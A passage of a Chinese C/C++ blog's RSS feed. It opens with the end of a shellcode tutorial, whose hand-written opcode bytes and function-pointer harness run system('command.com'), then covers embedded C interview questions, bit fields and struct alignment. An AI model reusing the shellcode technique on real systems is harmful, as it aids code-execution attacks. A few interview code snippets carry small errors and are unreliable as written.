<br>"\xFF\x55\xF0"<br>"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" <br>"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" <br>"\x50\xB8"<br>"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3<br>"\xFF\xD0";<br>int main()<br>{<br>( (void(*)(void)) &amp;shellcode )()<br>return 0;<br>} <br>( (void(*)(void)) &amp;shellcode )()这句话是关键，它把ShellCode转换成一个参数为空，返回为空的函数指针，并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确，就会完成我们想要的功能，出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成！ <br><br>小结 <br>这个ShellCode的功能还比较单薄，而且通用性也待进一步研究，但的确是一个由我们亲自打造出来的ShellCode，而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法，以后就可以在广阔的空间中自由翱翔！</div>
<img src ="http://www.cppblog.com/zjj2816/aggbug/30439.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2007-08-20 17:17 <a href="http://www.cppblog.com/zjj2816/archive/2007/08/20/30439.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）利用函数将程序跳转到固定地址执行</title><link>http://www.cppblog.com/zjj2816/archive/2007/08/10/29693.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Fri, 10 Aug 2007 07:28:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2007/08/10/29693.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/29693.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2007/08/10/29693.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/29693.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/29693.html</trackback:ping><description><![CDATA[<p>---------------------------------------------<br>定义函数void (* my_function)(void);</p>
<p>在程序中赋值：</p>
<p>my_function = 0x00;</p>
<p>然后调用函数：</p>
<p>my_function();</p>
<p>程序就会跳转到0x00地址开始执行，常用于BootLoader程序中．</p>
<p>类似的还有直接向某个地址写入数据：</p>
<p>int *my_address = 0x05555555;</p>
<p>*my_address = 0x22222222;</p>
<p>直接向0x05555555地址写入数据0x22222222.</p>
<img src ="http://www.cppblog.com/zjj2816/aggbug/29693.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2007-08-10 15:28 <a href="http://www.cppblog.com/zjj2816/archive/2007/08/10/29693.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自己的printf</title><link>http://www.cppblog.com/zjj2816/archive/2006/10/17/13770.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 17 Oct 2006 03:28:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/10/17/13770.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/13770.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/10/17/13770.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/13770.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/13770.html</trackback:ping><description><![CDATA[#include "stdarg.h"<br />int my_printf (const char *format, ...)<br />{<br /> va_list arg;<br /> int done;<br /> <br /> va_start (arg, format);<br /> done = vprintf (format, arg); <br /> va_end (arg);<br /> return done;<br />}<br /><br />vprintf是printf的底层实现细节<br />加上宏定义就可以方便的实现开/关调试信息了。<img src ="http://www.cppblog.com/zjj2816/aggbug/13770.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-10-17 11:28 <a href="http://www.cppblog.com/zjj2816/archive/2006/10/17/13770.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>想成为嵌入式程序员应知道的0x10个基本问题</title><link>http://www.cppblog.com/zjj2816/archive/2006/07/24/10408.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 24 Jul 2006 07:43:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/07/24/10408.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/10408.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/07/24/10408.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/10408.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/10408.html</trackback:ping><description><![CDATA[1 . 用预处理指令#define 声明一个常数，用以表明1年中有多少秒（忽略闰年问题）<br />#define SECONDS_PER_YEAR (60 * 60 * 24 * 365)UL<br />我在这想看到几件事情：<br />1) #define 语法的基本知识（例如：不能以分号结束，括号的使用，等等）<br />2)懂得预处理器将为你计算常数表达式的值，因此，直接写出你是如何计算一年中有多少秒而不是计算出实际的值，是更清晰而没有代价的。<br />3) 意识到这个表达式将使一个16位机的整型数溢出-因此要用到长整型符号L,告诉编译器这个常数是的长整型数。<br />4) 如果你在你的表达式中用到UL（表示无符号长整型），那么你有了一个好的起点。记住，第一印象很重要。<br /><br />2 . 写一个"标准"宏MIN ，这个宏输入两个参数并返回较小的一个。<br />#define MIN(A,B) （（A） &lt;= (B) ? (A) : (B)) 这个测试是为下面的目的而设的：<br />1) 标识#define在宏中应用的基本知识。这是很重要的。因为在 嵌入(inline)操作符 变为标准C的一部分之前，宏是方便产生嵌入代码的唯一方法，对于嵌入式系统来说，为了能达到要求的性能，嵌入代码经常是必须的方法。<br />2)三重条件操作符的知识。这个操作符存在C语言中的原因是它使得编译器能产生比if-then-else更优化的代码，了解这个用法是很重要的。<br />3) 懂得在宏中小心地把参数用括号括起来<br />4) 我也用这个问题开始讨论宏的副作用，例如：当你写下面的代码时会发生什么事？<br />least = MIN(*p++, b);<br /><br />3. 预处理器标识#error的目的是什么？<br />如果你不知道答案，请看参考文献1。这问题对区分一个正常的伙计和一个书呆子是很有用的。只有书呆子才会读C语言课本的附录去找出象这种问题的答案。当然如果你不是在找一个书呆子，那么应试者最好希望自己不要知道答案。<br /><br />死循环（Infinite loops）<br />4. 嵌入式系统中经常要用到无限循环，你怎么样用C编写死循环呢？ 这个问题用几个解决方案。 <br />我首选的方案是：<br />while(1)<br />{<br /><br />}<br />一些程序员更喜欢如下方案：<br />for(;;)<br />{<br /><br />}<br />这个实现方式让我为难，因为这个语法没有确切表达到底怎么回事。如果一个应试者给出这个作为方案，我将用这个作为一个机会去探究他们这样做的基本原理。如果他们的基本答案是："我被教着这样做，但从没有想到过为什么。"这会给我留下一个坏印象。<br />第三个方案是用 goto<br />Loop:<br />...<br />goto Loop;<br />应试者如给出上面的方案，这说明或者他是一个汇编语言程序员（这也许是好事）或者他是一个想进入新领域的BASIC/FORTRAN程序员。<br /><br />数据声明（Data declarations） <br />5. 用变量a给出下面的定义<br />a) 一个整型数（An integer） <br />b)一个指向整型数的指针（ A pointer to an integer） <br />c)一个指向指针的的指针，它指向的指针是指向一个整型数（ A pointer to a pointer to an intege）r <br />d)一个有10个整型数的数组（ An array of 10 integers） <br />e) 一个有10个指针的数组，该指针是指向一个整型数的。（An array of 10 pointers to <br />integers） <br />f) 一个指向有10个整型数数组的指针（ A pointer to an array of 10 integers） <br />g) 一个指向函数的指针，该函数有一个整型参数并返回一个整型数（A pointer to a function <br />that takes an integer as an argument and returns an integer） <br />h) 一个有10个指针的数组，该指针指向一个函数，该函数有一个整型参数并返回一个整型数（ An array of ten pointers to functions that take an integer argument and return an integer ）<br />答案是： <br />a) int a; // An integer <br />b) int *a; // A pointer to an integer <br />c) int **a; // A pointer to a pointer to an integer <br />d) int a[10]; // An array of 10 integers <br />e) int *a[10]; // An array of 10 pointers to integers <br />f) int (*a)[10]; // A pointer to an array of 10 integers <br />g) int (*a)(int); // A pointer to a function a that <br />takes an integer argument and returns an integer <br />h) int (*a[10])(int); // An array of 10 pointers to <br />functions that take an integer argument and return an <br />integer <br />人们经常声称这里有几个问题是那种要翻一下书才能回答的问题，我同意这种说法。当我写这篇文章时，为了确定语法的正确性，我的确查了一下书。但是当我被面试的时候，我期望被问到这个问题（或者相近的问题）。因为在被面试的这段时间里，我确定我知道这个问题的答案。应试者如果不知道所有的答案（或至少大部分答案），那么也就没有为这次面试做准备，如果该面试者没有为这次面试做准备，那么他又能为什么出准备呢？<br /><br />Static <br />6. 关键字static的作用是什么？<br />这个简单的问题很少有人能回答完全。在C语言中，关键字static有三个明显的作用：<br />1)在函数体，一个被声明为静态的变量在这一函数被调用过程中维持其值不变。<br />2) 在模块内（但在函数体外），一个被声明为静态的变量可以被模块内所用函数访问，但不能被模块外其它函数访问。它是一个本地的全局变量。<br />3) 在模块内，一个被声明为静态的函数只可被这一模块内的其它函数调用。那就是，这个函数被限制在声明它的模块的本地范围内使用。<br />大多数应试者能正确回答第一部分，一部分能正确回答第二部分，同是很少的人能懂得第三部分。这是一个应试者的严重的缺点，因为他显然不懂得本地化数据和代码范围的好处和重要性。<br /><br />Const <br />7．关键字const有什么含意？<br />我只要一听到被面试者说："const意味着常数"，我就知道我正在和一个业余者打交道。去年Dan <br />Saks已经在他的文章里完全概括了const的所有用法，因此ESP(译者：Embedded Systems <br />Programming)的每一位读者应该非常熟悉const能做什么和不能做什么.如果你从没有读到那篇文章，只要能说出const意味着"只读"就可以了。尽管这个答案不是完全的答案，但我接受它作为一个正确的答案。（如果你想知道更详细的答案，仔细读一下Saks的文章吧。）<br />如果应试者能正确回答这个问题，我将问他一个附加的问题：下面的声明都是什么意思？<br />const int a;<br />int const a;<br />const int *a;<br />int * const a;<br />int const * a const;<br />/******/<br />前两个的作用是一样，a是一个常整型数。第三个意味着a是一个指向常整型数的指针（也就是，整型数是不可修改的，但指针可以）。第四个意思a是一个指向整型数的常指针（也就是说，指针指向的整型数是可以修改的，但指针是不可修改的）。最后一个意味着a是一个指向常整型数的常指针（也就是说，指针指向的整型数是不可修改的，同时指针也是不可修改的）。如果应试者能正确回答这些问题，那么他就给我留下了一个好印象。顺带提一句，也许你可能会问，即使不用关键字 ，也还是能很容易写出功能正确的程序，那么我为什么还要如此看重关键字const呢？我也如下的几下理由：<br />1) 关键字const的作用是为给读你代码的人传达非常有用的信息，实际上，声明一个参数为常量是为了告诉了用户这个参数的应用目的。如果你曾花很多时间清理其它人留下的垃圾，你就会很快学会感谢这点多余的信息。（当然，懂得用const的程序员很少会留下的垃圾让别人来清理的。）<br />2) 通过给优化器一些附加的信息，使用关键字const也许能产生更紧凑的代码。<br />3) 合理地使用关键字const可以使编译器很自然地保护那些不希望被改变的参数，防止其被无意的代码修改。简而言之，这样可以减少bug的出现。<br /><br />Volatile <br />8. 关键字volatile有什么含意?并给出三个不同的例子。<br />一个定义为volatile的变量是说这变量可能会被意想不到地改变，这样，编译器就不会去假设这个变量的值了。精确地说就是，优化器在用到这个变量时必须每次都小心地重新读取这个变量的值，而不是使用保存在寄存器里的备份。下面是volatile变量的几个例子：<br />1) 并行设备的硬件寄存器（如：状态寄存器）<br />2) 一个中断服务子程序中会访问到的非自动变量(Non-automatic variables)<br />3) 多线程应用中被几个任务共享的变量<br />回答不出这个问题的人是不会被雇佣的。我认为这是区分C程序员和嵌入式系统程序员的最基本的问题。搞嵌入式的家伙们经常同硬件、中断、RTOS等等打交道，所有这些都要求用到volatile变量。不懂得volatile的内容将会带来灾难。 假设被面试者正确地回答了这是问题（嗯，怀疑是否会是这样），我将稍微深究一下，看一下这家伙是不是直正懂得volatile完全的重要性。<br />1)一个参数既可以是const还可以是volatile吗？解释为什么。<br />2); 一个指针可以是volatile 吗？解释为什么。<br />3); 下面的函数有什么错误：<br />int square(volatile int *ptr)<br />{<br />return *ptr * *ptr;<br />}<br />下面是答案：<br />1)是的。一个例子是只读的状态寄存器。它是volatile因为它可能被意想不到地改变。它是const因为程序不应该试图去修改它。<br />2); 是的。尽管这并不很常见。一个例子是当一个中服务子程序修该一个指向一个buffer的指针时。<br />3) 这段代码有点变态。这段代码的目的是用来返指针*ptr指向值的平方，但是，由于*ptr指向一个volatile型参数，编译器将产生类似下面的代码：<br />int square(volatile int *ptr) <br />{<br />int a,b;<br />a = *ptr;<br />b = *ptr;<br />return a * b;<br />}<br />由于*ptr的值可能被意想不到地该变，因此a和b可能是不同的。结果，这段代码可能返不是你所期望的平方值！正确的代码如下：<br />long square(volatile int *ptr) <br />{<br />int a;<br />a = *ptr;<br />return a * a;<br />}<br /><br />位操作（Bit manipulation） <br />9. 嵌入式系统总是要用户对变量或寄存器进行位操作。给定一个整型变量a，写两段代码，第一个设置a的bit 3，第二个清除a 的bit 3。在以上两个操作中，要保持其它位不变。 对这个问题有三种基本的反应<br />1)不知道如何下手。该被面者从没做过任何嵌入式系统的工作。<br />2) 用bit fields。Bit fields是被扔到C语言死角的东西，它保证你的代码在不同编译器之间是不可移植的，同时也保证了的你的代码是不可重用的。我最近不幸看到 Infineon为其较复杂的通信芯片写的驱动程序，它用到了bit fields因此完全对我无用，因为我的编译器用其它的方式来实现bit fields的。从道德讲：永远不要让一个非嵌入式的家伙粘实际硬件的边。<br />3) 用 #defines 和 bit masks 操作。这是一个有极高可移植性的方法，是应该被用到的方法。最佳的解决方案如下：<br />#define BIT3 (0x1 &lt;&lt; 3)<br />static int a;<br />void set_bit3(void) <br />{<br />a |= BIT3;<br />}<br />void clear_bit3(void) <br />{<br />a &amp;= ~BIT3;<br />}<br /><br />一些人喜欢为设置和清除值而定义一个掩码同时定义一些说明常数，这也是可以接受的。我希望看到几个要点：说明常数、|=和&amp;=~操作。<br /><br />访问固定的内存位置（Accessing fixed memory locations） <br />10. 嵌入式系统经常具有要求程序员去访问某特定的内存位置的特点。<br />在某工程中，要求设置一绝对地址为0x67a9的整型变量的值为0xaa66。编译器是一个纯粹的ANSI编译器。写代码去完成这一任务。这一问题测试你是否知道为了访问一绝对地址把一个整型数强制转换（typecast）为一指针是合法的。这一问题的实现方式随着个人风格不同而不同。典型的类似代码如下：<br />int *ptr;<br />ptr = (int *)0x67a9;<br />*ptr = 0xaa55;<br />A more obscure approach is: ( 一个较晦涩的方法是)：<br />*(int * const)(0x67a9) = 0xaa55;<br />即使你的品味更接近第二种方案，但我建议你在面试时使用第一种方案。<br /><br />中断（Interrupts） <br />11. <br />中断是嵌入式系统中重要的组成部分，这导致了很多编译开发商提供一种扩展—让标准C支持中断。具代表事实是，产生了一个新的关键字 __interrupt。下面的代码就使用了__interrupt关键字去定义了一个中断服务子程序(ISR)，请评论一下这段代码的。<br />__interrupt double compute_area (double radius) <br />{<br />double area = PI * radius * radius;<br />printf("\nArea = %f", area);<br />return area;<br />}<br />这个函数有太多的错误了，以至让人不知从何说起了：<br />1)ISR 不能返回一个值。如果你不懂这个，那么你不会被雇用的。<br />2) ISR 不能传递参数。如果你没有看到这一点，你被雇用的机会等同第一项。<br />3) 在许多的处理器/编译器中，浮点一般都是不可重入的。有些处理器/编译器需要让额处的寄存器入栈，有些处理器/编译器就是不允许在ISR中做浮点运算。此外，ISR应该是短而有效率的，在ISR中做浮点运算是不明智的。<br />4) 与第三点一脉相承，printf()经常有重入和性能上的问题。如果你丢掉了第三和第四点，我不会太为难你的。不用说，如果你能得到后两点，那么你的被雇用前景越来越光明了。<br /><br />代码例子（Code examples）<br />12 . 下面的代码输出是什么，为什么？<br />void foo(void)<br />{<br />unsigned int a = 6;<br />int b = -20;<br />(a+b &gt; 6) ? puts("&gt; 6") : puts("&lt;= 6");<br />}<br />这个问题测试你是否懂得C语言中的整数自动转换原则，我发现有些开发者懂得极少这些东西。不管如何，这无符号整型问题的答案是输出是 "&gt;6"。原因是当表达式中存在有符号类型和无符号类型时所有的操作数都自动转换为无符号类型。因此-20变成了一个非常大的正整数，所以该表达式计算出的结果大于6。这一点对于应当频繁用到无符号数据类型的嵌入式系统来说是丰常重要的。如果你答错了这个问题，你也就到了得不到这份工作的边缘。<br /><br />13. 评价下面的代码片断：<br />unsigned int zero = 0;<br />unsigned int compzero = 0xFFFF; <br />/*1's complement of zero */<br />对于一个int型不是16位的处理器为说，上面的代码是不正确的。应编写如下：<br />unsigned int compzero = ~0;<br />这一问题真正能揭露出应试者是否懂得处理器字长的重要性。在我的经验里，好的嵌入式程序员非常准确地明白硬件的细节和它的局限，然而PC机程序往往把硬件作为一个无法避免的烦恼。<br />到了这个阶段，应试者或者完全垂头丧气了或者信心满满志在必得。如果显然应试者不是很好，那么这个测试就在这里结束了。但如果显然应试者做得不错，那么我就扔出下面的追加问题，这些问题是比较难的，我想仅仅非常优秀的应试者能做得不错。提出这些问题，我希望更多看到应试者应付问题的方法，而不是答案。不管如何，你就当是这个娱乐吧...<br /><br />动态内存分配（Dynamic memory allocation） <br />14. <br />尽管不像非嵌入式计算机那么常见，嵌入式系统还是有从堆（heap）中动态分配内存的过程的。那么嵌入式系统中，动态分配内存可能发生的问题是什么？这里，我期望应试者能提到内存碎片，碎片收集的问题，变量的持行时间等等。这个主题已经在ESP杂志中被广泛地讨论过了（主要是 P.J. Plauger, 他的解释远远超过我这里能提到的任何解释），所有回过头看一下这些杂志吧！让应试者进入一种虚假的安全感觉后，我拿出这么一个小节目：下面的代码片段的输出是什么，为什么？<br />char *ptr;<br />if ((ptr = (char *)malloc(0)) == NULL) <br />puts("Got a null pointer");<br />else<br />puts("Got a valid pointer");<br />这是一个有趣的问题。最近在我的一个同事不经意把0值传给了函数malloc，得到了一个合法的指针之后，我才想到这个问题。这就是上面的代码，该代码的输出是"Got a valid pointer"。我用这个来开始讨论这样的一问题，看看被面试者是否想到库例程这样做是正确。得到正确的答案固然重要，但解决问题的方法和你做决定的基本原理更重要些。<br /><br />Typedef <br />15 Typedef <br />在C语言中频繁用以声明一个已经存在的数据类型的同义字。也可以用预处理器做类似的事。例如，思考一下下面的例子：<br />#define dPS struct s *<br />typedef struct s * tPS;<br />以上两种情况的意图都是要定义dPS 和 tPS 作为一个指向结构s指针。哪种方法更好呢？（如果有的话）为什么？<br />这是一个非常微妙的问题，任何人答对这个问题（正当的原因）是应当被恭喜的。答案是：typedef更好。思考下面的例子：<br />dPS p1,p2;<br />tPS p3,p4;<br />第一个扩展为<br />struct s * p1, p2;<br />上面的代码定义p1为一个指向结构的指，p2为一个实际的结构，这也许不是你想要的。第二个例子正确地定义了p3 和p4 两个指针。<br /><br />晦涩的语法<br />16 . C语言同意一些令人震惊的结构,下面的结构是合法的吗，如果是它做些什么？<br />int a = 5, b = 7, c;<br />c = a+++b;<br />这个问题将做为这个测验的一个愉快的结尾。不管你相不相信，上面的例子是完全合乎语法的。问题是编译器如何处理它？水平不高的编译作者实际上会争论这个问题，根据最处理原则，编译器应当能处理尽可能所有合法的用法。因此，上面的代码被处理成：c = a++ + b;<br />因此, 这段代码持行后a = 6, b = 7, c = 12。<br />如果你知道答案，或猜出正确答案，做得好。如果你不知道答案，我也不把这个当作问题。我发现这个问题的最大好处是这是一个关于代码编写风格，代码的可读性，代码的可修改性的好的话题。<br /><img src ="http://www.cppblog.com/zjj2816/aggbug/10408.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-07-24 15:43 <a href="http://www.cppblog.com/zjj2816/archive/2006/07/24/10408.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C语言的底层操作</title><link>http://www.cppblog.com/zjj2816/archive/2006/07/17/10146.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 17 Jul 2006 00:54:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/07/17/10146.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/10146.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/07/17/10146.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/10146.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/10146.html</trackback:ping><description><![CDATA[
		<p>
				<font face="宋体">概述</font>
				<br />
				<font face="宋体">　　C语言的内存模型基本上对应了现在von Neumann（冯·诺伊曼）计算机的实际存储模型<a href="http://www.mcu99.com/"><u><font color="#800080">，</font></u></a>很好的达到了对机器的映射，这是C/C++适合做底层开发的主要原因，另外，C语言适合做底层开发还有另外一个原因，那就是C语言对底层操作做了很多的的支持，提供了很多比较底层的功能。</font>
				<br />
				<font face="宋体">　　下面结合问题分别进行阐述。</font>
				<br />
				<font face="宋体">　　问题：移位操作</font>
				<br />
				<font face="宋体">　　在运用移位操作符时，有两个问题必须要清楚：</font>
				<br />
				<font face="宋体">　　(1)、在右移操作中，腾空位是填 0 还是符号位；</font>
				<br />
				<font face="宋体">　　(2)、什么数可以作移位的位数。</font>
				<br />
				<font face="宋体">答案与分析：</font>
				<br />
				<font face="宋体">　　"&gt;&gt;"和"&lt;&lt;"是指将变量中的每一位向右或向左移动, 其通常形式为</font>
				<font face="宋体">: <br />　　右移: 变量名&gt;&gt;移位的位数</font>
				<font face="宋体">
						<br />　　左移: 变量名&lt;&lt;移位的位数</font>
				<font face="宋体">
						<br />　　经过移位后, 一端的位被"挤掉",而另一端空出的位以0 填补,在C语言中的移位不是循环移动的。</font>
				<br />
				<font face="宋体">　　(1) 第一个问题的答案很简单，但要根据不同的情况而定。如果被移位的是无符号数，则填 0 。如果是有符号数，那么可能填 0 或符号位。如果你想解决右移操作中腾空位的填充问题，就把变量声明为无符号型，这样腾空位会被置 0。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　(2) 第二个问题的答案也很简单：如果移动 n 位，那么移位的位数要不小于 0 ，并且一定要小于 n 。这样就不会在一次操作中把所有数据都移走。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　比如，如果整型数据占 32 位，n 是一整型数据，则 n &lt;&lt; 31 和 n &lt;&lt; 0 都合法，而 n &lt;&lt; 32 和 n &lt;&lt; -1 都不合法。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　注意即使腾空位填符号位，有符号整数的右移也不相当与除以。为了证明这一点，我们可以想一下 -1 &gt;&gt; 1 不可能为 0 。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　问题：位段结构 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">struct RPR_ATD_TLV_HEADER<br />{<br />ULONG res1:6;<br />ULONG type:10;<br />ULONG res1:6;<br />ULONG length:10; <br />}; 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　位段结构是一种特殊的结构, 在需按位访问一个字节或字的多个位时, 位结构比按位运算符更加方便。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　位结构定义的一般形式为: 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">struct</font>
				<font face="宋体">位结构名</font>
				<font face="宋体">{ <br />　数据类型 变量名: 整型常数</font>
				<font face="宋体">; <br />　数据类型 变量名: 整型常数</font>
				<font face="宋体">; <br />} 位结构变量;   
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　其中: 整型常数必须是非负的整数, 范围是0~15, 表示二进制位的个数, 即表示有多少位。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　变量名是选择项, 可以不命名, 这样规定是为了排列需要。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　例如: 下面定义了一个位结构。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">struct{ <br /></font>
				<font face="宋体">　unsigned incon: 8; /*incon占用低字节的0~7共8位</font>
				<font face="宋体">*/ <br />　unsigned txcolor: 4;/*txcolor占用高字节的0~3位共4位</font>
				<font face="宋体">*/ <br />　unsigned bgcolor: 3;/*bgcolor占用高字节的4~6位共3位</font>
				<font face="宋体">*/ <br />　unsigned blink: 1; /*blink占用高字节的第7位</font>
				<font face="宋体">*/ <br />}ch;   
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　位结构成员的访问与结构成员的访问相同。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　例如: 访问上例位结构中的bgcolor成员可写成: 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">ch.bgcolor   
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　位结构成员可以与其它结构成员一起使用。按位访问与设置，方便&amp;节省 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　例如: 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">struct info{ <br /></font>
				<font face="宋体">　</font>
				<font face="宋体">char name[8]; <br />　</font>
				<font face="宋体">int age; <br />　</font>
				<font face="宋体">struct addr address; <br />　</font>
				<font face="宋体">float pay; <br />　</font>
				<font face="宋体">unsigned state: 1; <br />　</font>
				<font face="宋体">unsigned pay: 1; <br />}workers;'   
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　上例的结构定义了关于一个工从的信息。其中有两个位结构成员, 每个位结构成员只有一位, 因此只占一个字节但保存了两个信息, 该字节中第一位表示工人的状态, 第二位表示工资是否已发放。由此可见使用位结构可以节省存贮空间。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　注意不要超过值限制 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　问题：字节对齐 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　我在使用VC编程的过程中，有一次调用DLL中定义的结构时，发觉结构都乱掉了，完全不能读取正确的值，后来发现这是因为DLL和调用程序使用的字节对齐选项不同，那么我想问一下，字节对齐究竟是怎么一回事？ 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　答案与分析： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　关于字节对齐： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　1、 当不同的结构使用不同的字节对齐定义时，可能导致它们之间交互变得很困难。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　2、 在跨CPU进行通信时，可以使用字节对齐来保证唯一性，诸如通讯协议、写驱动程序时候寄存器的结构等。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　三种对齐方式： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　1、 自然对齐方式（Natural Alignment）：与该数据类型的大小相等。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　2、 指定对齐方式 ： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">#pragma pack(8) //</font>
				<font face="宋体">指定Align为 8；</font>
				<br />
				<font face="宋体">#pragma pack() //</font>
				<font face="宋体">恢复到原先值 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　3、 实际对齐方式： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">Actual Align = min ( Order Align, Natual Align ) 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　对于复杂数据类型（比如结构等）：实际对齐方式是其成员最大的实际对齐方式： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">Actual Align = max( Actual align1,2,3，…) 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　编译器的填充规律： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　1、 成员为成员Actual Align的整数倍，在前面加Padding。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　成员Actual Align = min( 结构Actual Align，设定对齐方式) 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　2、 结构为结构Actual Align的整数倍，在后面加Padding. 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　例子分析： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">#pragma pack(8) //</font>
				<font face="宋体">指定Align为</font>
				<font face="宋体"> 8<br />struct STest1<br />{<br />char ch1; <br />long lo1;<br />char ch2;<br />} test1;<br />#pragma pack() 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　现在 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">Align of STest1 = 4 , sizeof STest1 = 12 ( 4 * 3 ) 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　test1在内存中的排列如下（ FF 为 padding ）： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">00 -- -- -- 04 -- -- -- 08 -- -- -- 12 -- -- --<br />01 FF FF FF 01 01 01 01 01 FF FF FF <br />ch1 -- lo1 -- ch2<br />#pragma pack(2) //</font>
				<font face="宋体">指定Align为</font>
				<font face="宋体"> 2<br />struct STest2<br />{<br />char ch3;<br />STest1 test;<br />} test2;<br />#pragma pack() 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　现在 Align of STest1 = 2, Align of STest2 = 2 , sizeof STest2 = 14 ( 7 * 2 ) 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
